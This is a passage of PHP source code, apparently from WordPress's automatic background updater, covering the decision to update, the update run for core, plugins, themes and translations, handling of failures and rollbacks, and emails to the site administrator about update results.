// If we can't do an auto core update, we may still be able to email the user.
		if ( ! $skin->request_filesystem_credentials( false, $context, $allow_relaxed_file_ownership ) || $this->is_vcs_checkout( $context ) ) {
			if ( 'core' === $type ) {
				$this->send_core_update_notification_email( $item );
			}
			return false;
		}

// Next up, is this an item we can update?
		if ( 'core' === $type ) {
			$update = Core_Upgrader::should_update_to_version( $item->current );
		} elseif ( 'plugin' === $type || 'theme' === $type ) {
			$update = ! empty( $item->autoupdate );

if ( ! $update && wp_is_auto_update_enabled_for_type( $type ) ) {
				// Check if the site admin has enabled auto-updates by default for the specific item.
				$auto_updates = (array) get_site_option( "auto_update_{$type}s", array() );
				$update       = in_array( $item->{$type}, $auto_updates, true );
			}
		} else {
			$update = ! empty( $item->autoupdate );
		}

// If the `disable_autoupdate` flag is set, override any user-choice, but allow filters.
		if ( ! empty( $item->disable_autoupdate ) ) {
			$update = $item->disable_autoupdate;
		}

/**
		 * Filters whether to automatically update core, a plugin, a theme, or a language.
		 *
		 * The dynamic portion of the hook name, `$type`, refers to the type of update
		 * being checked. Potential hook names include:
		 *
		 *  - `auto_update_core`
		 *  - `auto_update_plugin`
		 *  - `auto_update_theme`
		 *  - `auto_update_translation`
		 *
		 * Generally speaking, plugins, themes, and major core versions are not updated
		 * by default, while translations and minor and development versions for core
		 * are updated by default.
		 *
		 * See the {@see 'allow_dev_auto_core_updates'}, {@see 'allow_minor_auto_core_updates'},
		 * and {@see 'allow_major_auto_core_updates'} filters for a more straightforward way to
		 * adjust core updates.
		 *
		 * @since 3.7.0
		 * @since 5.5.0 The `$update` parameter accepts the value of null.
		 *
		 * @param bool|null $update Whether to update. The value of null is internally used
		 *                          to detect whether nothing has hooked into this filter.
		 * @param object    $item   The update offer.
		 */
		$update = apply_filters( "auto_update_{$type}", $update, $item );

if ( ! $update ) {
			if ( 'core' === $type ) {
				$this->send_core_update_notification_email( $item );
			}
			return false;
		}

// If it's a core update, are we actually compatible with its requirements?
		if ( 'core' === $type ) {
			global $wpdb;

$php_compat = version_compare( phpversion(), $item->php_version, '>=' );
			if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) {
				$mysql_compat = true;
			} else {
				$mysql_compat = version_compare( $wpdb->db_version(), $item->mysql_version, '>=' );
			}

if ( ! $php_compat || ! $mysql_compat ) {
				return false;
			}
		}

// If updating a plugin or theme, ensure the minimum PHP version requirements are satisfied.
		if ( in_array( $type, array( 'plugin', 'theme' ), true ) ) {
			if ( ! empty( $item->requires_php ) && version_compare( phpversion(), $item->requires_php, '<' ) ) {
				return false;
			}
		}

return true;
	}

/**
	 * Notifies an administrator of a core update.
	 *
	 * @since 3.7.0
	 *
	 * @param object $item The update offer.
	 */
	protected function send_core_update_notification_email( $item ) {
		$notified = get_site_option( 'auto_core_update_notified' );

// Don't notify if we've already notified the same email address of the same version.
		if ( $notified && get_site_option( 'admin_email' ) === $notified['email'] && $notified['version'] == $item->current ) {
			return false;
		}

// See if we need to notify users of a core update.
		$notify = ! empty( $item->notify_email );

/**
		 * Filters whether to notify the site administrator of a new core update.
		 *
		 * By default, administrators are notified when the update offer received
		 * from WordPress.org sets a particular flag. This allows some discretion
		 * in if and when to notify.
		 *
		 * This filter is only evaluated once per release. If the same email address
		 * was already notified of the same new version, WordPress won't repeatedly
		 * email the administrator.
		 *
		 * This filter is also used on about.php to check if a plugin has disabled
		 * these notifications.
		 *
		 * @since 3.7.0
		 *
		 * @param bool   $notify Whether the site administrator is notified.
		 * @param object $item   The update offer.
		 */
		if ( ! apply_filters( 'send_core_update_notification_email', $notify, $item ) ) {
			return false;
		}

$this->send_email( 'manual', $item );
		return true;
	}

/**
	 * Update an item, if appropriate.
	 *
	 * @since 3.7.0
	 *
	 * @param string $type The type of update being checked: 'core', 'theme', 'plugin', 'translation'.
	 * @param object $item The update offer.
	 * @return null|WP_Error
	 */
	public function update( $type, $item ) {
		$skin = new Automatic_Upgrader_Skin;

switch ( $type ) {
			case 'core':
				// The Core upgrader doesn't use the Upgrader's skin during the actual main part of the upgrade, instead, firing a filter.
				add_filter( 'update_feedback', array( $skin, 'feedback' ) );
				$upgrader = new Core_Upgrader( $skin );
				$context  = ABSPATH;
				break;
			case 'plugin':
				$upgrader = new Plugin_Upgrader( $skin );
				$context  = WP_PLUGIN_DIR; // We don't support custom Plugin directories, or updates for WPMU_PLUGIN_DIR.
				break;
			case 'theme':
				$upgrader = new Theme_Upgrader( $skin );
				$context  = get_theme_root( $item->theme );
				break;
			case 'translation':
				$upgrader = new Language_Pack_Upgrader( $skin );
				$context  = WP_CONTENT_DIR; // WP_LANG_DIR;
				break;
		}

// Determine whether we can and should perform this update.
		if ( ! $this->should_update( $type, $item, $context ) ) {
			return false;
		}

/**
		 * Fires immediately prior to an auto-update.
		 *
		 * @since 4.4.0
		 *
		 * @param string $type    The type of update being checked: 'core', 'theme', 'plugin', or 'translation'.
		 * @param object $item    The update offer.
		 * @param string $context The filesystem context (a path) against which filesystem access and status
		 *                        should be checked.
		 */
		do_action( 'pre_auto_update', $type, $item, $context );

$upgrader_item = $item;
		switch ( $type ) {
			case 'core':
				/* translators: %s: WordPress version. */
				$skin->feedback( __( 'Updating to WordPress %s' ), $item->version );
				/* translators: %s: WordPress version. */
				$item_name = sprintf( __( 'WordPress %s' ), $item->version );
				break;
			case 'theme':
				$upgrader_item = $item->theme;
				$theme         = wp_get_theme( $upgrader_item );
				$item_name     = $theme->Get( 'Name' );
				/* translators: %s: Theme name. */
				$skin->feedback( __( 'Updating theme: %s' ), $item_name );
				break;
			case 'plugin':
				$upgrader_item = $item->plugin;
				$plugin_data   = get_plugin_data( $context . '/' . $upgrader_item );
				$item_name     = $plugin_data['Name'];
				/* translators: %s: Plugin name. */
				$skin->feedback( __( 'Updating plugin: %s' ), $item_name );
				break;
			case 'translation':
				$language_item_name = $upgrader->get_name_for_update( $item );
				/* translators: %s: Project name (plugin, theme, or WordPress). */
				$item_name = sprintf( __( 'Translations for %s' ), $language_item_name );
				/* translators: 1: Project name (plugin, theme, or WordPress), 2: Language. */
				$skin->feedback( sprintf( __( 'Updating translations for %1$s (%2$s)&#8230;' ), $language_item_name, $item->language ) );
				break;
		}

$allow_relaxed_file_ownership = false;
		if ( 'core' === $type && isset( $item->new_files ) && ! $item->new_files ) {
			$allow_relaxed_file_ownership = true;
		}

// Boom, this site's about to get a whole new splash of paint!
		$upgrade_result = $upgrader->upgrade(
			$upgrader_item,
			array(
				'clear_update_cache'           => false,
				// Always use partial builds if possible for core updates.
				'pre_check_md5'                => false,
				// Only available for core updates.
				'attempt_rollback'             => true,
				// Allow relaxed file ownership in some scenarios.
				'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership,
			)
		);

// If the filesystem is unavailable, false is returned.
		if ( false === $upgrade_result ) {
			$upgrade_result = new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
		}

if ( 'core' === $type ) {
			if ( is_wp_error( $upgrade_result )
				&& ( 'up_to_date' === $upgrade_result->get_error_code()
					|| 'locked' === $upgrade_result->get_error_code() )
			) {
				// These aren't actual errors, treat it as a skipped-update instead
				// to avoid triggering the post-core update failure routines.
				return false;
			}

// Core doesn't output this, so let's append it so we don't get confused.
			if ( is_wp_error( $upgrade_result ) ) {
				$skin->error( __( 'Installation failed.' ), $upgrade_result );
			} else {
				$skin->feedback( __( 'WordPress updated successfully.' ) );
			}
		}

$this->update_results[ $type ][] = (object) array(
			'item'     => $item,
			'result'   => $upgrade_result,
			'name'     => $item_name,
			'messages' => $skin->get_upgrade_messages(),
		);

return $upgrade_result;
	}

/**
	 * Kicks off the background update process, looping through all pending updates.
	 *
	 * @since 3.7.0
	 */
	public function run() {
		if ( $this->is_disabled() ) {
			return;
		}

if ( ! is_main_network() || ! is_main_site() ) {
			return;
		}

if ( ! WP_Upgrader::create_lock( 'auto_updater' ) ) {
			return;
		}

// Don't automatically run these things, as we'll handle it ourselves.
		remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
		remove_action( 'upgrader_process_complete', 'wp_version_check' );
		remove_action( 'upgrader_process_complete', 'wp_update_plugins' );
		remove_action( 'upgrader_process_complete', 'wp_update_themes' );

// Next, plugins.
		wp_update_plugins(); // Check for plugin updates.
		$plugin_updates = get_site_transient( 'update_plugins' );
		if ( $plugin_updates && ! empty( $plugin_updates->response ) ) {
			foreach ( $plugin_updates->response as $plugin ) {
				$this->update( 'plugin', $plugin );
			}
			// Force refresh of plugin update information.
			wp_clean_plugins_cache();
		}

// Next, those themes we all love.
		wp_update_themes();  // Check for theme updates.
		$theme_updates = get_site_transient( 'update_themes' );
		if ( $theme_updates && ! empty( $theme_updates->response ) ) {
			foreach ( $theme_updates->response as $theme ) {
				$this->update( 'theme', (object) $theme );
			}
			// Force refresh of theme update information.
			wp_clean_themes_cache();
		}

// Next, process any core update.
		wp_version_check(); // Check for core updates.
		$core_update = find_core_auto_update();

if ( $core_update ) {
			$this->update( 'core', $core_update );
		}

// Clean up, and check for any pending translations.
		// (Core_Upgrader checks for core updates.)
		$theme_stats = array();
		if ( isset( $this->update_results['theme'] ) ) {
			foreach ( $this->update_results['theme'] as $upgrade ) {
				$theme_stats[ $upgrade->item->theme ] = ( true === $upgrade->result );
			}
		}
		wp_update_themes( $theme_stats ); // Check for theme updates.

$plugin_stats = array();
		if ( isset( $this->update_results['plugin'] ) ) {
			foreach ( $this->update_results['plugin'] as $upgrade ) {
				$plugin_stats[ $upgrade->item->plugin ] = ( true === $upgrade->result );
			}
		}
		wp_update_plugins( $plugin_stats ); // Check for plugin updates.

// Finally, process any new translations.
		$language_updates = wp_get_translation_updates();
		if ( $language_updates ) {
			foreach ( $language_updates as $update ) {
				$this->update( 'translation', $update );
			}

// Clear existing caches.
			wp_clean_update_cache();

wp_version_check();  // Check for core updates.
			wp_update_themes();  // Check for theme updates.
			wp_update_plugins(); // Check for plugin updates.
		}

// Send debugging email to admin for all development installations.
		if ( ! empty( $this->update_results ) ) {
			$development_version = false !== strpos( get_bloginfo( 'version' ), '-' );

/**
			 * Filters whether to send a debugging email for each automatic background update.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $development_version By default, emails are sent if the
			 *                                  install is a development version.
			 *                                  Return false to avoid the email.
			 */
			if ( apply_filters( 'automatic_updates_send_debug_email', $development_version ) ) {
				$this->send_debug_email();
			}

if ( ! empty( $this->update_results['core'] ) ) {
				$this->after_core_update( $this->update_results['core'][0] );
			} elseif ( ! empty( $this->update_results['plugin'] ) || ! empty( $this->update_results['theme'] ) ) {
				$this->after_plugin_theme_update( $this->update_results );
			}

/**
			 * Fires after all automatic updates have run.
			 *
			 * @since 3.8.0
			 *
			 * @param array $update_results The results of all attempted updates.
			 */
			do_action( 'automatic_updates_complete', $this->update_results );
		}

WP_Upgrader::release_lock( 'auto_updater' );
	}

/**
	 * If we tried to perform a core update, check if we should send an email,
	 * and if we need to avoid processing future updates.
	 *
	 * @since 3.7.0
	 *
	 * @param object $update_result The result of the core update. Includes the update offer and result.
	 */
	protected function after_core_update( $update_result ) {
		$wp_version = get_bloginfo( 'version' );

$core_update = $update_result->item;
		$result      = $update_result->result;

if ( ! is_wp_error( $result ) ) {
			$this->send_email( 'success', $core_update );
			return;
		}

$error_code = $result->get_error_code();

// Any of these WP_Error codes are critical failures, as in they occurred after we started to copy core files.
		// We should not try to perform a background update again until there is a successful one-click update performed by the user.
		$critical = false;
		if ( 'disk_full' === $error_code || false !== strpos( $error_code, '__copy_dir' ) ) {
			$critical = true;
		} elseif ( 'rollback_was_required' === $error_code && is_wp_error( $result->get_error_data()->rollback ) ) {
			// A rollback is only critical if it failed too.
			$critical        = true;
			$rollback_result = $result->get_error_data()->rollback;
		} elseif ( false !== strpos( $error_code, 'do_rollback' ) ) {
			$critical = true;
		}

if ( $critical ) {
			$critical_data = array(
				'attempted'  => $core_update->current,
				'current'    => $wp_version,
				'error_code' => $error_code,
				'error_data' => $result->get_error_data(),
				'timestamp'  => time(),
				'critical'   => true,
			);
			if ( isset( $rollback_result ) ) {
				$critical_data['rollback_code'] = $rollback_result->get_error_code();
				$critical_data['rollback_data'] = $rollback_result->get_error_data();
			}
			update_site_option( 'auto_core_update_failed', $critical_data );
			$this->send_email( 'critical', $core_update, $result );
			return;
		}

/*
		 * Any other WP_Error code (like download_failed or files_not_writable) occurs before
		 * we tried to copy over core files. Thus, the failures are early and graceful.
		 *
		 * We should avoid trying to perform a background update again for the same version.
		 * But we can try again if another version is released.
		 *
		 * For certain 'transient' failures, like download_failed, we should allow retries.
		 * In fact, let's schedule a special update for an hour from now. (It's possible
		 * the issue could actually be on WordPress.org's side.) If that one fails, then email.
		 */
		$send               = true;
		$transient_failures = array( 'incompatible_archive', 'download_failed', 'insane_distro', 'locked' );
		if ( in_array( $error_code, $transient_failures, true ) && ! get_site_option( 'auto_core_update_failed' ) ) {
			wp_schedule_single_event( time() + HOUR_IN_SECONDS, 'wp_maybe_auto_update' );
			$send = false;
		}

$n = get_site_option( 'auto_core_update_notified' );
		// Don't notify if we've already notified the same email address of the same version of the same notification type.
		if ( $n && 'fail' === $n['type'] && get_site_option( 'admin_email' ) === $n['email'] && $n['version'] == $core_update->current ) {
			$send = false;
		}

update_site_option(
			'auto_core_update_failed',
			array(
				'attempted'  => $core_update->current,
				'current'    => $wp_version,
				'error_code' => $error_code,
				'error_data' => $result->get_error_data(),
				'timestamp'  => time(),
				'retry'      => in_array( $error_code, $transient_failures, true ),
			)
		);

if ( $send ) {
			$this->send_email( 'fail', $core_update, $result );
		}
	}

/**
	 * Sends an email upon the completion or failure of a background core update.
	 *
	 * @since 3.7.0
	 *
	 * @param string $type        The type of email to send. Can be one of 'success', 'fail', 'manual', 'critical'.
	 * @param object $core_update The update offer that was attempted.
	 * @param mixed  $result      Optional. The result for the core update. Can be WP_Error.
	 */
	protected function send_email( $type, $core_update, $result = null ) {
		update_site_option(
			'auto_core_update_notified',
			array(
				'type'      => $type,
				'email'     => get_site_option( 'admin_email' ),
				'version'   => $core_update->current,
				'timestamp' => time(),
			)
		);

$next_user_core_update = get_preferred_from_update_core();

// If the update transient is empty, use the update we just performed.
		if ( ! $next_user_core_update ) {
			$next_user_core_update = $core_update;
		}

$newer_version_available = ( 'upgrade' === $next_user_core_update->response && version_compare( $next_user_core_update->version, $core_update->version, '>' ) );

/**
		 * Filters whether to send an email following an automatic background core update.
		 *
		 * @since 3.7.0
		 *
		 * @param bool   $send        Whether to send the email. Default true.
		 * @param string $type        The type of email to send. Can be one of
		 *                            'success', 'fail', 'critical'.
		 * @param object $core_update The update offer that was attempted.
		 * @param mixed  $result      The result for the core update. Can be WP_Error.
		 */
		if ( 'manual' !== $type && ! apply_filters( 'auto_core_update_send_email', true, $type, $core_update, $result ) ) {
			return;
		}

switch ( $type ) {
			case 'success': // We updated.
				/* translators: Site updated notification email subject. 1: Site title, 2: WordPress version. */
				$subject = __( '[%1$s] Your site has updated to WordPress %2$s' );
				break;

case 'fail':   // We tried to update but couldn't.
			case 'manual': // We can't update (and made no attempt).
				/* translators: Update available notification email subject. 1: Site title, 2: WordPress version. */
				$subject = __( '[%1$s] WordPress %2$s is available. Please update!' );
				break;

case 'critical': // We tried to update, started to copy files, then things went wrong.
				/* translators: Site down notification email subject. 1: Site title. */
				$subject = __( '[%1$s] URGENT: Your site may be down due to a failed update' );
				break;

default:
				return;
		}

// If the auto-update is not to the latest version, say that the current version of WP is available instead.
		$version = 'success' === $type ? $core_update->current : $next_user_core_update->current;
		$subject = sprintf( $subject, wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $version );

$body = '';

switch ( $type ) {
			case 'success':
				$body .= sprintf(
					/* translators: 1: Home URL, 2: WordPress version. */
					__( 'Howdy! Your site at %1$s has been updated automatically to WordPress %2$s.' ),
					home_url(),
					$core_update->current
				);
				$body .= "\n\n";
				if ( ! $newer_version_available ) {
					$body .= __( 'No further action is needed on your part.' ) . ' ';
				}

// Can only reference the About screen if their update was successful.
				list( $about_version ) = explode( '-', $core_update->current, 2 );
				/* translators: %s: WordPress version. */
				$body .= sprintf( __( 'For more on version %s, see the About WordPress screen:' ), $about_version );
				$body .= "\n" . admin_url( 'about.php' );

if ( $newer_version_available ) {
					/* translators: %s: WordPress latest version. */
					$body .= "\n\n" . sprintf( __( 'WordPress %s is also now available.' ), $next_user_core_update->current ) . ' ';
					$body .= __( 'Updating is easy and only takes a few moments:' );
					$body .= "\n" . network_admin_url( 'update-core.php' );
				}

break;

case 'fail':
			case 'manual':
				$body .= sprintf(
					/* translators: 1: Home URL, 2: WordPress version. */
					__( 'Please update your site at %1$s to WordPress %2$s.' ),
					home_url(),
					$next_user_core_update->current
				);

$body .= "\n\n";

// Don't show this message if there is a newer version available.
				// Potential for confusion, and also not useful for them to know at this point.
				if ( 'fail' === $type && ! $newer_version_available ) {
					$body .= __( 'We tried but were unable to update your site automatically.' ) . ' ';
				}

$body .= __( 'Updating is easy and only takes a few moments:' );
				$body .= "\n" . network_admin_url( 'update-core.php' );
				break;

case 'critical':
				if ( $newer_version_available ) {
					$body .= sprintf(
						/* translators: 1: Home URL, 2: WordPress version. */
						__( 'Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s.' ),
						home_url(),
						$core_update->current
					);
				} else {
					$body .= sprintf(
						/* translators: 1: Home URL, 2: WordPress latest version. */
						__( 'Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s.' ),
						home_url(),
						$core_update->current
					);
				}

$body .= "\n\n" . __( "This means your site may be offline or broken. Don't panic; this can be fixed." );

$body .= "\n\n" . __( "Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:" );
				$body .= "\n" . network_admin_url( 'update-core.php' );
				break;
		}

$critical_support = 'critical' === $type && ! empty( $core_update->support_email );
		if ( $critical_support ) {
			// Support offer if available.
			$body .= "\n\n" . sprintf(
				/* translators: %s: Support email address. */
				__( 'The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working.' ),
				$core_update->support_email
			);
		} else {
			// Add a note about the support forums.
			$body .= "\n\n" . __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' );
			$body .= "\n" . __( 'https://wordpress.org/support/forums/' );
		}

// Updates are important!
		if ( 'success' !== $type || $newer_version_available ) {
			$body .= "\n\n" . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' );
		}

if ( $critical_support ) {
			$body .= ' ' . __( "If you reach out to us, we'll also ensure you'll never have this problem again." );
		}

// If things are successful and we're now on the latest, mention plugins and themes if any are out of date.
		if ( 'success' === $type && ! $newer_version_available && ( get_plugin_updates() || get_theme_updates() ) ) {
			$body .= "\n\n" . __( 'You also have some plugins or themes with updates available. Update them now:' );
			$body .= "\n" . network_admin_url();
		}

$body .= "\n\n" . __( 'The WordPress Team' ) . "\n";

if ( 'critical' === $type && is_wp_error( $result ) ) {
			$body .= "\n***\n\n";
			/* translators: %s: WordPress version. */
			$body .= sprintf( __( 'Your site was running version %s.' ), get_bloginfo( 'version' ) );
			$body .= ' ' . __( 'We have some data that describes the error your site encountered.' );
			$body .= ' ' . __( 'Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:' );

// If we had a rollback and we're still critical, then the rollback failed too.
			// Loop through all errors (the main WP_Error, the update result, the rollback result) for code, data, etc.
			if ( 'rollback_was_required' === $result->get_error_code() ) {
				$errors = array( $result, $result->get_error_data()->update, $result->get_error_data()->rollback );
			} else {
				$errors = array( $result );
			}

foreach ( $errors as $error ) {
				if ( ! is_wp_error( $error ) ) {
					continue;
				}

$error_code = $error->get_error_code();
				/* translators: %s: Error code. */
				$body .= "\n\n" . sprintf( __( 'Error code: %s' ), $error_code );

if ( 'rollback_was_required' === $error_code ) {
					continue;
				}

if ( $error->get_error_message() ) {
					$body .= "\n" . $error->get_error_message();
				}

$error_data = $error->get_error_data();
				if ( $error_data ) {
					$body .= "\n" . implode( ', ', (array) $error_data );
				}
			}

$body .= "\n";
		}

$to      = get_site_option( 'admin_email' );
		$headers = '';

$email = compact( 'to', 'subject', 'body', 'headers' );

/**
		 * Filters the email sent following an automatic background core update.
		 *
		 * @since 3.7.0
		 *
		 * @param array $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                            can be returned, as handled by wp_mail().
		 *     @type string $subject The email's subject.
		 *     @type string $body    The email message body.
		 *     @type string $headers Any email headers, defaults to no headers.
		 * }
		 * @param string $type        The type of email being sent. Can be one of
		 *                            'success', 'fail', 'manual', 'critical'.
		 * @param object $core_update The update offer that was attempted.
		 * @param mixed  $result      The result for the core update. Can be WP_Error.
		 */
		$email = apply_filters( 'auto_core_update_email', $email, $type, $core_update, $result );

wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
	}

/**
	 * If we tried to perform plugin or theme updates, check if we should send an email.
	 *
	 * @since 5.5.0
	 *
	 * @param array $update_results The results of update tasks.
	 */
	protected function after_plugin_theme_update( $update_results ) {
		$successful_updates = array();
		$failed_updates     = array();

if ( ! empty( $update_results['plugin'] ) ) {
			/**
			 * Filters whether to send an email following an automatic background plugin update.
			 *
			 * @since 5.5.0
			 * @since 5.5.1 Added the `$update_results` parameter.
			 *
			 * @param bool  $enabled        True if plugin update notifications are enabled, false otherwise.
			 * @param array $update_results The results of plugins update tasks.
			 */
			$notifications_enabled = apply_filters( 'auto_plugin_update_send_email', true, $update_results['plugin'] );

if ( $notifications_enabled ) {
				foreach ( $update_results['plugin'] as $update_result ) {
					if ( true === $update_result->result ) {
						$successful_updates['plugin'][] = $update_result;
					} else {
						$failed_updates['plugin'][] = $update_result;
					}
				}
			}
		}

if ( ! empty( $update_results['theme'] ) ) {
			/**
			 * Filters whether to send an email following an automatic background theme update.
			 *
			 * @since 5.5.0
			 * @since 5.5.1 Added the `$update_results` parameter.
			 *
			 * @param bool  $enabled        True if theme update notifications are enabled, false otherwise.
			 * @param array $update_results The results of theme update tasks.
			 */
			$notifications_enabled = apply_filters( 'auto_theme_update_send_email', true, $update_results['theme'] );

if ( $notifications_enabled ) {
				foreach ( $update_results['theme'] as $update_result ) {
					if ( true === $update_result->result ) {
						$successful_updates['theme'][] = $update_result;
					} else {
						$failed_updates['theme'][] = $update_result;
					}
				}
			}
		}

if ( empty( $successful_updates ) && empty( $failed_updates ) ) {
			return;
		}

if ( empty( $failed_updates ) ) {
			$this->send_plugin_theme_email( 'success', $successful_updates, $failed_updates );
		} elseif ( empty( $successful_updates ) ) {
			$this->send_plugin_theme_email( 'fail', $successful_updates, $failed_updates );
		} else {
			$this->send_plugin_theme_email( 'mixed', $successful_updates, $failed_updates );
		}
	}

/**
	 * Sends an email upon the completion or failure of a plugin or theme background update.
	 *
	 * @since 5.5.0
	 *
	 * @param string $type               The type of email to send. Can be one of 'success', 'fail', 'mixed'.
	 * @param array  $successful_updates A list of updates that succeeded.
	 * @param array  $failed_updates     A list of updates that failed.
	 */
	protected function send_plugin_theme_email( $type, $successful_updates, $failed_updates ) {
		// No updates were attempted.
		if ( empty( $successful_updates ) && empty( $failed_updates ) ) {
			return;
		}

$unique_failures     = false;
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

/*
		 * When only failures have occurred, an email should only be sent if there are unique failures.
		 * A failure is considered unique if an email has not been sent for an update attempt failure
		 * to a plugin or theme with the same new_version.
		 */
		if ( 'fail' === $type ) {
			foreach ( $failed_updates as $update_type => $failures ) {
				foreach ( $failures as $failed_update ) {
					if ( ! isset( $past_failure_emails[ $failed_update->item->{$update_type} ] ) ) {
						$unique_failures = true;
						continue;
					}

// Check that the failure represents a new failure based on the new_version.
					if ( version_compare( $past_failure_emails[ $failed_update->item->{$update_type} ], $failed_update->item->new_version, '<' ) ) {
						$unique_failures = true;
					}
				}
			}

if ( ! $unique_failures ) {
				return;
			}
		}

$body               = array();
		$successful_plugins = ( ! empty( $successful_updates['plugin'] ) );
		$successful_themes  = ( ! empty( $successful_updates['theme'] ) );
		$failed_plugins     = ( ! empty( $failed_updates['plugin'] ) );
		$failed_themes      = ( ! empty( $failed_updates['theme'] ) );

switch ( $type ) {
			case 'success':
				if ( $successful_plugins && $successful_themes ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins and themes have automatically updated' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Some plugins and themes have automatically updated to their latest versions on your site at %s. No further action is needed on your part.' ),
						home_url()
					);
				} elseif ( $successful_plugins ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins were automatically updated' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Some plugins have automatically updated to their latest versions on your site at %s. No further action is needed on your part.' ),
						home_url()
					);
				} else {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some themes were automatically updated' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Some themes have automatically updated to their latest versions on your site at %s. No further action is needed on your part.' ),
						home_url()
					);
				}

break;
			case 'fail':
			case 'mixed':
				if ( $failed_plugins && $failed_themes ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins and themes have failed to update' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Plugins and themes failed to update on your site at %s.' ),
						home_url()
					);
				} elseif ( $failed_plugins ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins have failed to update' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Plugins failed to update on your site at %s.' ),
						home_url()
					);
				} else {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some themes have failed to update' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Themes failed to update on your site at %s.' ),
						home_url()
					);
				}

break;
		}

if ( in_array( $type, array( 'fail', 'mixed' ), true ) ) {
			$body[] = "\n";
			$body[] = __( 'Please check your site now. It’s possible that everything is working. If there are updates available, you should update.' );
			$body[] = "\n";

// List failed plugin updates.
			if ( ! empty( $failed_updates['plugin'] ) ) {
				$body[] = __( 'These plugins failed to update:' );

foreach ( $failed_updates['plugin'] as $item ) {
					$body[] = sprintf(
						/* translators: 1: Plugin name, 2: Version number. */
						__( '- %1$s version %2$s' ),
						$item->name,
						$item->item->new_version
					);

$past_failure_emails[ $item->item->plugin ] = $item->item->new_version;
				}

$body[] = "\n";
			}

// List failed theme updates.
			if ( ! empty( $failed_updates['theme'] ) ) {
				$body[] = __( 'These themes failed to update:' );

foreach ( $failed_updates['theme'] as $item ) {
					$body[] = sprintf(
						/* translators: 1: Theme name, 2: Version number. */
						__( '- %1$s version %2$s' ),
						$item->name,
						$item->item->new_version
					);

$past_failure_emails[ $item->item->theme ] = $item->item->new_version;
				}

$body[] = "\n";
			}
		}

// List successful updates.
		if ( in_array( $type, array( 'success', 'mixed' ), true ) ) {
			$body[] = "\n";

// List successful plugin updates.
			if ( ! empty( $successful_updates['plugin'] ) ) {
				$body[] = __( 'These plugins are now up to date:' );

foreach ( $successful_updates['plugin'] as $item ) {
					$body[] = sprintf(
						/* translators: 1: Plugin name, 2: Version number. */
						__( '- %1$s version %2$s' ),
						$item->name,
						$item->item->new_version
					);

unset( $past_failure_emails[ $item->item->plugin ] );
				}

$body[] = "\n";
			}

// List successful theme updates.
			if ( ! empty( $successful_updates['theme'] ) ) {
				$body[] = __( 'These themes are now up to date:' );

foreach ( $successful_updates['theme'] as $item ) {
					$body[] = sprintf(
						/* translators: 1: Theme name, 2: Version number. */
						__( '- %1$s version %2$s' ),
						$item->name,
						$item->item->new_version
					);

unset( $past_failure_emails[ $item->item->theme ] );
				}

$body[] = "\n";
			}
		}

if ( $failed_plugins ) {
			$body[] = sprintf(
				/* translators: %s: Plugins screen URL. */
				__( 'To manage plugins on your site, visit the Plugins page: %s' ),
				admin_url( 'plugins.php' )
			);
			$body[] = "\n";
		}

if ( $failed_themes ) {
			$body[] = sprintf(
				/* translators: %s: Themes screen URL. */
				__( 'To manage themes on your site, visit the Themes page: %s' ),
				admin_url( 'themes.php' )
			);
			$body[] = "\n";
		}

// Add a note about the support forums.
		$body[] = __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' );
		$body[] = __( 'https://wordpress.org/support/forums/' );
		$body[] = "\n" . __( 'The WordPress Team' );

$body    = implode( "\n", $body );
		$to      = get_site_option( 'admin_email' );
		$subject = sprintf( $subject, wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ) );
		$headers = '';

$email = compact( 'to', 'subject', 'body', 'headers' );

/**
		 * Filters the email sent following an automatic background update for plugins and themes.
		 *
		 * @since 5.5.0
		 *
		 * @param array  $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                           can be returned, as handled by wp_mail().
		 *     @type string $subject The email's subject.
		 *     @type string $body    The email message body.
		 *     @type string $headers Any email headers, defaults to no headers.
		 * }
		 * @param string $type               The type of email being sent. Can be one of 'success', 'fail', 'mixed'.
		 * @param array  $successful_updates A list of updates that succeeded.
		 * @param array  $failed_updates     A list of updates that failed.
		 */
		$email = apply_filters( 'auto_plugin_theme_update_email', $email, $type, $successful_updates, $failed_updates );

$result = wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );

if ( $result ) {
			update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
		}
	}

/**
	 * Prepares and sends an email of a full log of background update results, useful for debugging and geekery.
	 *
	 * @since 3.7.0
	 */
	protected function send_debug_email() {
		$update_count = 0;
		foreach ( $this->update_results as $type => $updates ) {
			$update_count += count( $updates );
		}

$body     = array();
